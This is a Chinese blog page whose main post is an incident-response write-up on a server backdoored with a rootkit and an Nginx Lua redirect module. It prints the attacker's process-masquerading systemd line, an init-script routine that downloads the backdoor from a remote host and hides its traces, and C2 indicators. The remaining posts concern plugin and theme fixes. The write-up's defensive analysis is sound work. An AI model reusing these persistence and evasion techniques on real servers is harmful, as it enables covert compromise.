{lamp/}
-
服务器被植入流量劫持后门(跳转世界杯赌球网站)的排查与解决方案 前言 今天早上遇到一个非常头疼的问题：我的一台云服务器上部署的网站，访问时会有很大概率跳转到赌球网站（刚好世界杯期间，什么牛鬼蛇神都出来了）。更诡异的是，哪怕我放一个纯空白 HTML 页面上去，依然会被劫持。折腾了半天，最终定位到是一套精心伪装的博彩木马。本文记录完整的排查、分析和清理过程。一、症状描述先说环境：三台云服务器，同一家服务商出问题的这台：Ubuntu 系统另外两台正常的：CentOS 系统所有网站运行在 Nginx 上，通过 宝塔面板 管理症状：访问网站（无论哪个域名），浏览器有很高概率跳转到 https://dd0a000h4orvt.cloudfxxxt.net/?cid=8214805 （域名已做了无害处理）这个赌球网站即使是刚上传的空白 test.html（内容就一句 hello），依然会跳转；开启 Cloudflare 小黄云（代理模式）无效，关闭小黄云（DNS only）也无效；从服务器上 curl 访问页面，返回正常，没有任何跳转；另外两台 CentOS 服务器完全正常跳转链（之前没有捕捉到前面那个xyz跳转链接所以走了一些弯路）：先是跳转faradfdsa.anfxxc.xyz，接着很快跳转至dd0a000h4orvt.cloudfxxxt.net/?cid=8214805二、初步分析2.1 排除 ISP/DNS 层面因为只有这一台服务器有问题，而三台机器用的是同一家云服务商，所以排除了"运营商线路劫持"的可能。如果是 ISP 层面的劫持，三台服务器应该都会中招。2.2 为什么 Cloudflare 无效Cloudflare 的代理模式会将用户流量先经过 Cloudflare 节点再转发到源服务器。如果劫持发生在源服务器发出响应之后（比如浏览器执行时），那么 Cloudflare 也救不了。2.3 核心疑点：curl 正常但浏览器跳转这说明劫持不是发生在 Nginx 配置层面（因为 curl 返回的是原始响应），而是在更上层——要么是浏览器端被注入 JavaScript，要么是网络传输层被篡改。三、第一轮排查：发现 defunct / iptable6 rootkit3.1 先看 Nginx 配置nginx -T 2>/dev/null | grep -i "redirect\|rewrite\|return 302\|sub_filter"输出中除了正常的 rewrite 规则外，没有发现明显的恶意配置。3.2 检查进程——发现重大线索lsof -i :443输出赫然出现了三个可疑进程：defunct 812 root 3u TCP spk.laws.ms:33018->ec2.us-east-2.amazonaws.com:https (ESTABLISHED) iptable6 817 root 4u TCP spk.laws.ms:54498->ec2-13-57-38-185.us-west-1.compute.amazonaws.com:https (ESTABLISHED) iptable6 28789 root 4u TCP spk.laws.ms:54498->ec2-13-57-38-185.us-west-1.compute.amazonaws.com:https (ESTABLISHED)defunct——这个名字看起来像是进程状态（<defunct> 表示僵尸进程），实则是恶意程序iptable6——伪装成系统工具（正确名称是 ip6tables），拼写故意只差一点点这两个进程都在向外部的 AWS EC2 服务器建立 HTTPS 连接。3.3 定位二进制文件file /usr/bin/defunct /usr/bin/iptable6 ls -la /usr/bin/defunct /usr/bin/iptable6/usr/bin/defunct: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped /usr/bin/iptable6: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header两个文件都是静态链接、strip 去符号，显然是恶意软件标准做法。defunct 的文件日期被伪造为 2003-09-08，而 iptable6 的日期是 2026-04-28，说明是近期才植入的。lsof -i -P -n | grep -E "defunct|iptable6"defunct 812 root TCP 127.0.0.1:33018->212.132.98.170:443 (ESTABLISHED) iptable6 817 root TCP 127.0.0.1:54498->13.57.38.185:443 (ESTABLISHED)两个二进制分别连接不同的 C2 服务器，形成两条指挥通道。3.4 找到自启动持久化机制grep -r "iptable6\|defunct" /etc/init.d/ /lib/systemd/ 2>/dev/null结果令人震惊——几乎每个 /etc/init.d/ 下的脚本都被注入了 /bin/iptable6：/etc/init.d/keyboard-setup.sh:/bin/iptable6 /etc/init.d/apparmor:/bin/iptable6 /etc/init.d/docker:/bin/iptable6 /etc/init.d/open-vm-tools:/bin/iptable6 /etc/init.d/postfix:/bin/iptable6 ...（共 20+ 个文件）更隐蔽的是 systemd 层面：/lib/systemd/system/defunct.service: ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[kswapd0]' '/usr/bin/defunct'"这里使用了 exec -a '[kswapd0]' 技巧——将进程名伪装成 Linux 内核线程 [kswapd0]，用 ps aux 根本看不到它。3.5 查看登录记录——找到攻击来源last -10root pts/2 212.132.98.170 Mon Jun 1 (02:01)6月1日凌晨，一个来自 212.132.98.170 的 IP 通过 SSH 登录了这台服务器——这就是攻击者。3.6 Docker 容器的问题还发现服务器上运行了两个可疑的 Docker 容器：docker ps -atraffmonetizer/cli_v2 ← 带宽贩卖工具 earnfm/earnfm-client:latest ← 同类流量变现服务这两个容器将服务器作为代理出口节点，虽然不是导致劫跳转的直接原因，但它们进一步消耗服务器资源且可能引来更多攻击。第一轮清理操作详情停止并删除 defunct.service systemd 服务✅ rm -f /lib/systemd/system/defunct.service /defunct.dat杀掉 defunct / iptable6 / [kswapd0] 进程✅删除 /usr/bin/defunct / /usr/bin/iptable6✅清理所有 /etc/init.d/* 中的注入命令✅ sed -i '/\/bin\/iptable6/d' /etc/init.d/*删除 traffmonetizer / earnfm Docker 容器✅修改 root / 面板 / 数据库密码✅重启服务器验证✅ 跳转消失第一阶段判断当时以为是 defunct/iptable6 这个 rootkit 做的中间人攻击（MITM），在 HTTP 响应中注入 JavaScript 跳转代码。重启后确认跳转消失，认为是彻底解决了。四、第二轮排查：跳转复发 —— 发现 Nginx Lua 后门4.1 复发清理后不到一个小时，手机端再次出现跳转到赌博网站的问题。PC 端访问正常，手机端（Android/iPhone）依然会 302 跳转。这意味着：不是 defunct/iptable6 导致的（它们已被清除）还有一套独立的、更隐蔽的后门在运行这个后门只针对移动设备——说明攻击者很清楚用户群体4.2 深入排查 Nginx 层再次检查 Nginx 配置，这次更仔细地看有没有加载 Lua 模块：nginx -V 2>&1 | grep -i lua发现 Nginx 编译了 ngx_http_lua_module，说明支持 Lua 处理请求。检查 nginx.conf，发现一行关键配置：lua_package_path "/www/server/nginx/lib/lua/?.lua;;";在 Lua 模块路径中找到一个可疑文件：ls -la /www/server/nginx/lib/lua/-rw-r--r-- 1 www www 20887 Mar 19 12:10 ngxd.lua文件属主是 www（Web 用户），且被 chattr +i 锁定（不可删除）。4.3 ngxd.lua 后门分析这是整个攻击中最精巧的部分。ngxd.lua（20887 字节）是一个完整的 Nginx Lua 后门模块，具备以下功能：功能说明User-Agent 检测根据 UA 判断设备类型（Android / iPhone / PC）并区分处理比例跳转Android 10%、iPhone 10%、PC 0% 的概率触发跳转，控制感染面不易被察觉远程配置从 pull.969a.xyz 拉取配置，可动态调整跳转比例和跳转域名RSA 签名命令执行通过 X-Nginx-Authorize 请求头传递命令，RSA 验签后执行任意 shellBot 伪装Google/Bing/Baidu 爬虫不跳转，避免 SEO 处罚路径例外/admin/、/api/、/login/、/static/ 等路径不跳转跳转参数跳转时在 URL 中携带 Base64 编码的 host\machine_id\device_type核心跳转逻辑：-- 伪代码示意 function process_request() local ua = get_headers("User-Agent") if ua matches "Android" then if math.random() < 0.10 then -- 10% 概率 if not has_cookie("k") then set_cookie("k", "1", 86400) redirect("https://faradfdsa.anfdnc.xyz/...") end end elseif ua matches "iPhone" then -- 相同逻辑，10% 概率 end end4.4 后门加载机制第一次排查后，恢复 nginx.conf、注释掉 #include luawaf.conf;、删除 waf/ 目录，但没有 reload nginx，所以旧 worker 进程继续运行恶意逻辑。这就是为什么 nginx -T 看到的是干净配置，但实际请求仍然被劫持。执行 nginx -s reload 后，新 worker 加载干净配置，跳转停止——导致误判为"已经完全修复"。4.5 真正的持久化机制清理 ngxd.lua 并 reload nginx 后不久跳转复发。这次检查了 /etc/init.d/nginx 启动脚本，发现被篡改：# 在 /etc/init.d/nginx 中，攻击者插入了 prepare_nginx_conf() 函数 # 该函数在每次 nginx start/reload 时自动执行 prepare_nginx_conf(): 1. 检测 nginx.conf 中是否有 lua_package_path 2. 有 → 将 DIR 设为 /www/server/nginx/lib/lua/ngxd.lua 3. 通过 curl 从 https://pull.969a.xyz/ngxd.lua 下载后门 4. chattr +i 锁定、chown www:www 伪造 Web 上传痕迹 5. 向 VHOST_PATH 写入 _.conf，写入内容： rewrite_by_lua_block { local diversion = require "ngxd" diversion.process_request() } 6. nginx 加载配置（_.conf 被 include 进来） 7. **立刻删除 _.conf** ← 灭迹关键为什么第一次没发现：原因说明注意力集中在 nginx 配置层nginx -T、vhost conf、Lua 钩子，没检查 /etc/init.d/_.conf 转瞬即逝只在 nginx 启动时存在几毫秒，加载完立刻被删nginx -T 看不到运行时 _.conf 已不存在，dump 的配置是干净的启动脚本不常被审计相比 nginx.conf 和 PHP 文件，init.d 脚本容易被忽视正确做法：找到可疑文件后，立即全系统检索其名称或相关字符串：grep -rn "ngxd\|pull.969a" /etc/ /root/ /usr/local/ 2>/dev/null4.6 攻击链还原宝塔面板 RCE（root 权限） → 第一阶段：植入 defunct/iptable6 rootkit + 带宽贩卖 Docker 容器 → 2026-06-13 第一次排查，清除 rootkit → 第二阶段：通过 init 脚本注入防删除机制 → 篡改 /etc/init.d/nginx，插入 prepare_nginx_conf() 函数 → 上传 ngxd.lua 到模块路径，chown www:www 伪造成 Web 漏洞 → 第一次排查时，木马恢复 nginx.conf、删除 waf/ 目录 → 但未执行 nginx reload，旧 worker 继续跳转 → nginx -s reload 后跳转消失，导致我误以为修复 → 接着我把宝塔面板自动升级触发 nginx restart → init 脚本自动下载 ngxd.lua + _.conf → 跳转复发 → 第二次排查发现 init 脚本被篡改 → 彻底清除已知恶意域名域名用途212.132.98.170攻击者 SSH 来源 + defunct C213.57.38.185iptable6 C2（AWS EC2）faradfdsa.anfXXc.xyz跳转中间站dd0a000h4orvt.cloudfXXXt.net最终赌博站（CloudFront CDN）pull.969a.xyzngxd.lua C2 配置拉取五、第二轮清理5.1 清除 Lua 后门操作状态删除 /www/server/nginx/lib/lua/ngxd.lua✅同时检查并删除其他路径（btwaf / free_waf）✅删除 /tmp/.machine_id / timestamp.txt / ngxd_*✅5.2 修复 nginx 启动脚本# 将 /etc/init.d/nginx 替换为干净的系统版本 # 用 chattr +i 锁定，防止再次被篡改 chattr +i /etc/init.d/nginx5.3 完全重启 nginx/etc/init.d/nginx stop sleep 2 /etc/init.d/nginx start注意：必须 restart（先 stop 再 start），因为 init 脚本的注入点只在 start 阶段执行。用 reload 不会触发 prepare_nginx_conf()。5.4 验证# 手机 UA 测试本地 curl -A "Mozilla/5.0 (Linux; Android 13)" http://127.0.0.1 # → 200 OK（无跳转） # 手机 UA 测试外网 curl -A "Mozilla/5.0 (Linux; Android 13)" http://223.254.130.86 # → 200 OK（无跳转） # 多轮确认 ngxd.lua 未复现 for i in 1 2 3; do [ -f /www/server/nginx/lib/lua/ngxd.lua ] && echo "WARNING" || echo "Check $i: clean" sleep 10 done最终验证结果检查项结果rootkit 扫描（chkrootkit / unhide）✅ 无 rootkit隐藏进程✅ 无SSH 密钥✅ 仅授权密钥系统 cron✅ 无恶意任务面板插件✅ 仅标准插件ngxd.lua 30 秒内复现检测（3 轮）✅ 未复现手机 UA 跳转（3 轮）✅ 均返回 200六、其他安全检查检查项结果SSH 配置✅ 密钥登录，禁用密码Cron 任务✅ 仅宝塔面板 SSL 续签任务PHP .user.ini✅ 无 auto_prepend_file.htaccess✅ 无恶意重写规则PHP 扩展✅ 无可疑 .soLD_PRELOAD✅ 未设置Systemd 服务✅ 无恶意服务PHP webshell✅ 未发现SUID 二进制✅ 标准系统文件Docker 容器✅ 已全部清理iptables NAT✅ 仅 Docker MASQUERADE七、投毒入口分析证据链证据结论ngxd.lua 目录属主 rootwww 用户无法写入，文件不可能是 Web 漏洞上传nginx.conf / enable-php-00.conf 均属主 root需 root 权限才能修改ngxd.lua 被 chown www:www人为伪造成 Web 上传痕迹，误导排查方向宝塔面板版本 11.3.0（存在已知 RCE）宝塔面板 RCE 是最可能的初始入口结论：宝塔面板 RCE 是最可能的入侵入口本次感染的攻击面是 Nginx 层面的 Lua 后门 + init 脚本持久化，不涉及 PHP 代码层面。服务端已清理完毕后，本地源码确认干净。八、经验和教训不能只看运行时配置：nginx -T 看到的配置可能和实际运行的不一致——_.conf 只在启动瞬间存在查文件来源比删文件重要：找到文件后应追溯"谁写进来的"，否则会复发。grep -rn "关键词" /etc/ /root/ 应在第一时间执行持久化机制常藏在启动脚本：/etc/init.d/、systemd units、cron、rc.local 都是需要重点检查的位置chattr +i 要双向使用：不仅要锁定恶意文件，更要锁定关键系统脚本本身进程伪装越来越高级：exec -a '[kswapd0]' 把进程名伪装成内核线程，ps 发现不了，必须用 lsof 查网络连接curl 正常 ≠ 网站正常：服务端本地 curl 看到的是原始响应，但浏览器请求可能被 Lua 层的 302 劫持多维度排查顺序：Nginx 配置 → 系统进程 → 网络连接 → 启动脚本 → 登录日志，缺一不可宝塔面板是最薄弱环节：面板以 root 运行、暴露在公网、历史漏洞多，安全问题任重道远。九、建议措施立即执行# 修改所有数据库密码、Redis 密码 # 修改宝塔面板密码和密钥 # 更新宝塔面板至最新版 bt upgrade # 安装 Fail2Ban 防止爆破 apt install fail2ban -y systemctl enable fail2ban systemctl start fail2ban # 锁定关键配置文件 chattr +i /www/server/nginx/conf/nginx.conf长期建议定期扫描：安装 rkhunter 和 chkrootkit，每周扫描文件完整性：对 /www/server/nginx/conf/、/usr/bin/ 等关键目录启用 tripwire 或 AIDE日志监控：启用访问日志，监控异常重定向和 SSH 登录最小权限：检查 www 用户对系统非必要目录的写权限宝塔面板：限制面板仅内网访问，或绑定域名 + HTTPS 访问SSH 安全：确认 authorized_keys 已配置，关闭密码登录，修改端口记录于 2026 年 6 月 13 日PS:真羡慕韩国球迷啊！祝国足本期世界杯“夺冠”！！！
-
修改VisitorLoggerPro插件适配Joe主题前端访客统计独立页 一、VisitorLoggerPro介绍本站用的访客统计插件名称叫VisitorLoggerPro： 作者开源地址 并且作者还专门做了一个前端访客统计独立页，但是只适配handsome主题，我试了在JOE主题下是无法正常使用的。于是我对其进行了一些修改，以使其能够在Joe主题下可以正常使用，可以在我的网站导航菜单点击访客统计查看。二、VisitorLoggerPro 适配 Joe主题修改主要的一些修改：1、改变前端样式结构，使其适应joe主题；2、改变读取数据库方式，使其在Joe主题下能够正常读取数据并显示；3、原插件默认显示最近7天数据，改为默认显示当天数据；三、在Joe主题下的使用方法正常安装插件后，将插件目录下的visitor-stats.php拷贝到主题joe目录，在后台创建独立页，选择访客统计模板即可。四、下载地址百度网盘，回复可见：隐藏内容，请前往内页查看详情
-
Typecho 1.3+Php8.0可以使用的图片水印插件 经常来看我博客的访客都会知道，我的博客文章中的图片都会有一个域名文字的水印。所以也经常在后台有人私信问我这个水印是怎么弄的。其实这是一个插件，原作者插件github开源地址（感谢！）： 图片水印插件 然后根据你自己的需求，弄两张水印图（一大一小，覆盖大的图片和小的图片，Png格式）如下图，看上去似乎一样，实际上分辨率是不同的，就是同一张图我在PS中导出为两种分辨率的而已。我这里一开始就是随便测试的两张图，没想到效果出奇的符合我的味口，所以就一直沿用至今：后台的插件设置也非常简单直接：这样子你在编写文章的时候，上传的图片会自动进行水印处理。但是作者的这个插件好久没有更新了，我测试了在我的php8.2下有一些问题。我的博客之前用的老服务器是php7.4，这个插件使用一切正常。昨天我的博客进行了搬家，现在新的服务器是php8.2，这个插件就不正常了，症状是上传图片会显示上传失败，但实际上图片已经上传成功了，水印也附着了，就是需要刷新网页才能显示出来。后来查了日志才知道是这个水印插件的问题，waterMark插件在返回JSON前输出了PHP8.2弃用警告，导致整个响应不是合法的JSON，JavaScript解析失败。说人话就是imgfunc.php参数顺序不符合PHP8.2，必选参数在可选参数之后，输出Deprecated 警告污染了JSON响应。上传其实是成功的（文件已保存），但浏览器解析JSON时报错，所以显示"上传失败"。修复方法：修正 waterMark 插件的函数参数顺序。改动的地方有两处：imgfunc.php:6 — 把 $w_pct, $w_quality 移到可选参数前面 Plugin.php:79 — 同步调整调用顺序为了以后更新方便，我直接把作者的github项目fork之后更新了：本次更新日志（2026-05-31）：兼容 PHP 8.0+修复 ImgWaterMark() 函数参数顺序：将必选参数 $w_pct、$w_quality 移至可选参数之前解决 PHP 8.0+ 报 Deprecated: Optional parameter declared before required parameter 警告的问题修复因该警告导致 Typecho 上传图片后 JSON 响应被污染、前端提示"上传失败"的 bug下载地址（回复可见）：{hide}
-
换了新服务器&彻底解决Typecho博客头像源显示问题 序言：服务器搬家了~今天是个里程碑的日子，因为网站正式搬迁到新家落户了！虽然都是香港的服务器，但是这个是CN2，懂的都懂。为何又是香港而不是内地的服务器，懂的也都懂。和nobbcc的站长认识，他给了我JOE主题的魔改包，可惜原来的服务器上面有太多的兼容性问题，一直没能够用上。旧务器是Nginx 1.28+PHP7.4+MySQL 5.7,新服务器是Nginx 1.3+PHP8.2+MySQL8.0，刚好乘这个机会直接把主题用新版的了。有兴趣的可以去nobcc站长的博客去下载：JOE魔改主题下载地址（基于JOE 7.7.1魔改优化而来）Typecho 的头像源问题一番测试下来，感觉良好，就是有一个打从Typecho娘胎里带来的怪病（中国大陆地区水土不服），访客头像破图问题依然存在。相信用Typecho做博客的站长都知道，网上一堆的说法就是换Cravatar的解析地址。虽然我换了国内的cravatar.cn地址，可是我测试换过了依然有的访客的头像是破的，或者是灰色的（无头像，加载不了QQ邮箱头像+没有注册Cravatar头像的邮箱地址大有人在）。于是我试着解决这个问题。我用好几个邮件地址作了测试，诸如123@qq.com(这个能正常加载头像)、abc@qq.com(QQ别名邮箱地址，很难加载头像，显示破图)、abc@163\sina\gmail\msn等等，有一半的机率是灰图以及破图，很不好看。通过分析代码分析可能的原因：1、头像走的是library/avatar.php代理（服务器去下载头像再返回），服务器连不上外部源就会破图。2、QQ邮箱头像接口只能通过纯数字QQ号查询头像。诸如abc@qq.com这样的邮箱前缀不是数字，所以走不到QQ头像通道，降级到Cravatar查头像，而该邮箱没有注册 Cravatar/Gravatar，就返回了默认灰图（其它非qq.com邮箱同理）。所以我现在解决的方式是这样：1、头像函数从本地代理avatar.php改为直链cravatar.cn（QQ邮箱自动优先用QQ头像）；2、非QQ邮箱同步头像源改为从cravatar.cn获取；3、在JOE主题目录下新建avatar头像目录并存放了100多张随机头像，若以上都失败（非QQ邮箱，也没在Cravatar注册头像），根据邮箱的MD5哈希值取模，从本地头像目录里选一张固定分配给该邮箱——同一个邮箱始终显示同一张图。解决方法一、先直接切回直链方式，改为直接输出 CDN 地址：1、编辑 function.php 位于/usr/themes/joe/core//* 头像函数从本地代理 avatar.php 改为直链 cravatar.cn（QQ 邮箱自动用 QQ 头像），从第311行开始 */ echo $timeTotal < 1 ? $timeTotal * 1000 . 'ms' : $timeTotal . 's'; } function _getAvatarByMail($mail) { $themeUrl = Helper::options()->themeUrl; $encodedMail = base64_encode($mail); $proxyUrl = $themeUrl . '/library/avatar.php?data=' . $encodedMail; echo $proxyUrl; } /*function _getAvatarByMail($mail) { $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cn.cravatar.com/avatar/'; $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { echo 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { echo $gravatarsUrl . $md5MailLower . '?d=mm'; } };*/ }; /* 评论名片*/ function get_comment_card_info($comments) { // 静态变量缓存：确保单次请求中，相同数据只计算一次2、编辑 core.php 位于/usr/themes/joe/core//* 同步头像源默认地址改为 cravatar.cn，从第271行开始 */ function _getAvatarUrlByMail($mail) { if (empty($mail)) {$mail = '';} $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cn.cravatar.com/avatar/'; $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) {3、编辑 DyUtils.php 位于/usr/themes/joe/times//* 动态评论头像源同步，从第48行开始 */ function ParseAvatar($mail) { if (function_exists('_getAvatarByMail')) return _getAvatarByMail($mail); echo "https://cn.cravatar.com/avatar/".md5(strtolower(trim($mail)))."?d=mm"; echo "https://cravatar.cn/avatar/".md5(strtolower(trim($mail)))."?d=mm"; }4、编辑 global.php 位于/usr/themes/joe/public/seting//* 后台设置说明文案同步，从第164行开始 */ NULL, NULL, '【11】自定义头像源（非必填）', '介绍：用于修改全站头像源地址 <br> 例如：https://cn.cravatar.com/avatar/ <br> 其他：非必填，默认头像源为https://cn.cravatar.com/avatar/ <br> 例如：https://cravatar.cn/avatar/ <br> 其他：非必填，默认头像源为https://cravatar.cn/avatar/ <br> https://dn-qiniu-avatar.qbox.me/avatar/<br> 注意：填写时，务必保证最后有一个/字符，否则不起作用！' ); $JCustomAvatarSource->setAttribute('class', 'joe_content joe_global');二、建立本地头像源建立joe\avatar目录，并将头像图片全部存放到此目录;三、变更头像获取机制1、编辑 function.php 位于/usr/themes/joe/core//* 通过邮箱生成头像地址，从第316行开始 */ function _getAvatarByMail($mail) { $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { echo 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { echo $gravatarsUrl . $md5MailLower . '?d=mm'; $index = abs(crc32($mailLower)) % 139 + 1; echo Helper::options()->themeUrl . '/avatar/avatar' . $index . '.jpg'; } }; /* 评论名片*/2、编辑 core.php 位于/usr/themes/joe/core//* 通过邮箱生成头像地址（字符串），从第272行开始 */ function _getAvatarUrlByMail($mail) { if (empty($mail)) {$mail = '';} $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { return 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { return $gravatarsUrl . $md5MailLower . '?d=mm'; $index = abs(crc32($mailLower)) % 139 + 1; return Helper::options()->themeUrl . '/avatar/avatar' . $index . '.jpg'; } } /*逻辑说明：1、QQ 数字号邮箱 → QQ 头像（不变）2、其他邮箱 → 有avatar显示avatar头像，没有则邮箱 CRC32哈希值对本地头像取模，固定分配一张本地头像；并且同一个邮箱永远只显示同一张头像。前后对比：四、修改好的文件包下载（注意这是基于nobb站长的Joe魔改主题包而作的修改，其它版本的joe主题请自行测试）,回复可见
-
开发了一套IT资产管理系统 一、系统介绍 我的零售业务有好多的IT设备，销售给客户的数据原来都是表格管理，不仅查询不方便，客户也会有想要知道设备质保期的信息。由于市面上一直没能够找到符合我预期的产品，所以一直也就这样将就着用着。 前两天心血来潮下载了Cursor，结果在这AI编程器的配合下，竟然花了两天时间手搓出了个不错的资产管理系统，不管是界面、还是功能上，都是非常符合我原先的预期了。 所以这是一套面向 IT 服务商的设备与资产管理平台，包含前端客户自助查询系统和后端资产管理系统两部分。20260525:为简化布署，系统已改为php语言，以下描述是初版，不再更新。稍后有时间会重新编辑功能说明。有兴趣的可以直接点击新版宣传页进行查看： IT设备销售管理系统 ，有购买意向或者定制功能的的可以直接联系站长。二、技术栈层级技术后端Express 5 + Node.js数据库MySQL（mysql2 连接池）Sessionexpress-session + express-mysql-session（MySQL 持久化，24h 有效期）安全helmet（安全响应头）、cors、express-rate-limit（限流）日志winston + winston-daily-rotate-file（按天轮转，保留 30 天）HTTP 日志morgan压缩compression（Gzip）文件上传自定义 multipart 解析数据导出exceljs（Excel）、pdfkit（PDF）前端框架Vue 3 + Vite + Element Plus路由vue-router 4（createWebHistory，懒加载）状态管理PiniaHTTP 客户端Axios图表Chart.js 4 + vue-chartjs三、项目结构├── server/ # 后端 │ ├── index.js # Express 入口，路由注册 │ ├── schema.sql # 数据库建表语句 │ ├── .env # 环境变量配置 │ ├── lib/ # 业务模块 │ │ ├── db.js # 数据库连接池与初始化 │ │ ├── env.js # .env 加载器 │ │ ├── auth.js # 认证（登录/登出/改密/会话校验） │ │ ├── session.js # Session 持久化配置 │ │ ├── rate-limiter.js # 请求限流 │ │ ├── devices.js # 设备 CRUD、公开查询、图片上传 │ │ ├── customers.js # 客户 CRUD、联系人管理 │ │ ├── assets.js # 资产 CRUD（配件/软件/耗材/服务） │ │ ├── todos.js # 维护记录 CRUD │ │ ├── dashboard.js # 仪表盘统计与图表 │ │ ├── config.js # 站点配置读写、LOGO 上传 │ │ ├── audit.js # 操作审计日志 │ │ ├── export.js # Excel / PDF 导出 │ │ ├── faults.js # 故障记录管理（JSON 文件存储） │ │ ├── logger.js # Winston 日志配置 │ │ ├── pagination.js # 分页工具 │ │ └── utils.js # 通用工具函数 │ └── package.json ├── public-vue/ # 前端构建产物（Vite build 输出） │ └── assets/ # 代码分割后的 JS/CSS 文件 └── data/ # 数据文件 └── faults.json # 故障记录（JSON 存储）四、环境要求Node.js >= 18MySQL >= 8.0五、快速开始# 1. 进入服务端目录 cd server # 2. 安装依赖 npm install # 3. 配置环境变量 cp .env.example .env # 编辑 .env，填入数据库连接信息和管理员账号 # 4. 启动服务 npm start # 或指定端口 PORT=8020 npm start启动后访问：前台查询页：http://localhost:3000/管理后台：http://localhost:3000/login六、环境变量配置在 server/.env 文件中配置：变量名说明默认值PORT服务监听端口3000DB_HOSTMySQL 主机地址—DB_PORTMySQL 端口3306DB_NAME数据库名称support_itDB_USER数据库用户名support_itDB_PASSWORD数据库密码自己设置ADMIN_USERNAME管理员用户名adminADMIN_PASSWORD管理员密码admin123SESSION_SECRETSession 加密密钥随机生成七、功能说明1、前台 — 客户自助查询前台面向客户，提供设备信息自助查询功能，如购买日期、质保期、脱保期、设备图片等。访问地址： /功能：前台设备查询输入客户编码（必填，精确匹配,防止有闲得蛋疼的访客手痒）输入设备序列号（必填，支持部分模糊匹配）单条结果直接展示详情卡片；多条结果展示列表，点击可展开，图片可以点击浮动放大查看详情展示：设备名称、序列号、客户信息、销售日期、质保期、质保截止日期、质保状态（在保/已过保/已报废）、多张设备图片（缩略图 + 灯箱预览）、备注多图灯箱支持左右箭头切换和圆点指示维护模式后台开启维护模式后，前台自动跳转至维护提示页面，暂停查询服务2、后台 — 管理系统访问地址： /login（未登录时自动跳转）默认账号： admin / admin1232.1、 业务看板后台首页，展示关键业务数据概览。统计卡片（8 个）：设备总数、客户总数、过保设备数、在保设备数、设备总值、配件总值、耗材总值、资产总值趋势图表（Chart.js 折线图）：展示各类资产价值随时间的变化趋势支持按月 / 按年切换统计粒度系统每月自动记录快照，历史数据持久化存储2.2、 维护记录管理设备的维护/维修/巡检记录。列表展示：标题、关联设备、维护日期、优先级（高/中/低）、状态（待处理/进行中/已完成）新增 / 编辑 / 删除维护记录关联设备：下拉选择已有设备，自动填充设备名称和序列号关键词搜索：支持按标题、设备名、备注模糊搜索状态标签：已完成（绿色）、待处理（红色）、进行中（蓝色）2.3、 客户管理管理客户信息及联系人。列表展示：客户编码、名称、地址、网址、联系人列表新增 / 编辑 / 删除客户多联系人：每个客户支持添加多个联系人（姓名、邮箱、电话），可动态增删唯一性校验：客户编码和名称不可重复删除保护：存在关联设备或资产时禁止删除自动同步：修改客户名称时，自动同步更新所有关联设备和资产的客户名称字段客户联动选择器：在设备/资产表单中输入编码自动匹配名称，反之亦然2.4、 设备管理管理客户设备信息，每台设备最多支持 3 张图片。列表展示：图片缩略图（+N 角标）、序列号、设备名称、客户编码/名称、销售日期、质保期、质保截止日期、质保状态（在保/过保/已报废）、价格新增 / 编辑 / 删除设备设备图片上传：每台设备最多 3 张，支持 JPG/PNG/GIF/WEBP，最大 5MB图片预览：表格内单击预览，支持灯箱大图浏览设备报废：标记设备为报废状态质保自动计算：根据销售日期 + 质保月数自动计算质保截止日期和状态客户联动：输入客户编码或名称自动匹配另一项唯一性校验：同一客户下序列号不可重复关键词搜索：支持按序列号、设备名称、客户名称搜索2.5、 资产管理（配件 / 软件 / 耗材 / 服务）四类资产统一管理，通过路由参数 :type 区分。2.5.1、配件列表展示：图片缩略图、名称、编码、所属设备、客户编码/名称、单价、数量、总价、质保状态、备注新增 / 编辑 / 删除配件质保状态自动计算（在保/已过保）报废功能归属设备：可选关联到已有设备，选择设备后自动匹配客户编码和名称客户联动选择：输入客户编码自动匹配客户名称质保期输入：支持设置质保月数2.5.2、软件功能与配件管理类似，支持质保状态自动计算、报废、归属设备关联、质保期输入。2.5.3、耗材列表展示：图片缩略图、名称、编码、所属设备、客户编码/名称、单价、数量、总价、购买日期、备注新增 / 编辑 / 删除耗材归属设备：可选关联到已有设备，选择后自动匹配客户编码和名称购买日期：支持记录购买日期无质保期字段2.5.4、服务列表展示：名称、编码、客户编码/名称、价格、起始日期、服务时间、服务状态、备注新增 / 编辑 / 删除服务服务期限自动计算：起始日期 + 服务月数脱保状态自动判断无数量字段（服务按项计费）无归属设备字段2.5.5、资产管理通用功能图片上传：每项资产最多 3 张，支持预览和删除Excel 导入/导出客户联动：所有资产模块均支持客户编码/名称自动匹配2.6、 